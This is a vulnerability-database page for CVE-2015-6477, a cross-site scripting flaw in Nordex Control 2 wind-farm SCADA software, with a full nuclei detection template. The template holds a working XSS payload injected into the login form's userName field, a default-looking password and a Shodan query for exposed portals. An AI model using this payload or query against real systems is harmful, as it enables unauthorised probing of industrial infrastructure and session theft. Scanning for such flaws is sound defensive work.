HexBrain

Browse / CVEs / CVE-2015-6477

CVE-2015-6477· nordex / nordex control 2 scada· CWE-79

Nordex NC2 - Cross-Site Scripting

mediumseverity
4.3CVSS score
12%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /login
Positive when: contains in header "text/html" AND contains "</script><script>alert(document.domain)</script>" and "var detailParams" AND status 200

Run it with nuclei: nuclei -id CVE-2015-6477 -u <target>

The full check
id: CVE-2015-6477

info:
  name: Nordex NC2 - Cross-Site Scripting
  author: geeknik,daffainfo
  severity: medium
  description: Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Dec/117
    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
    - http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6477
    cwe-id: CWE-79
    epss-score: 0.12042
    epss-percentile: 0.96173
    cpe: cpe:2.3:o:nordex:nordex_control_2_scada:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: nordex
    product: nordex_control_2_scada
    shodan-query: http.title:"Nordex Control - Wind Farm Portal"
  tags: cve,cve2015,nordex,nc2,seclists,packetstorm,xss,iot,vuln

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&pw=nordex&language=en

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "var detailParams"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from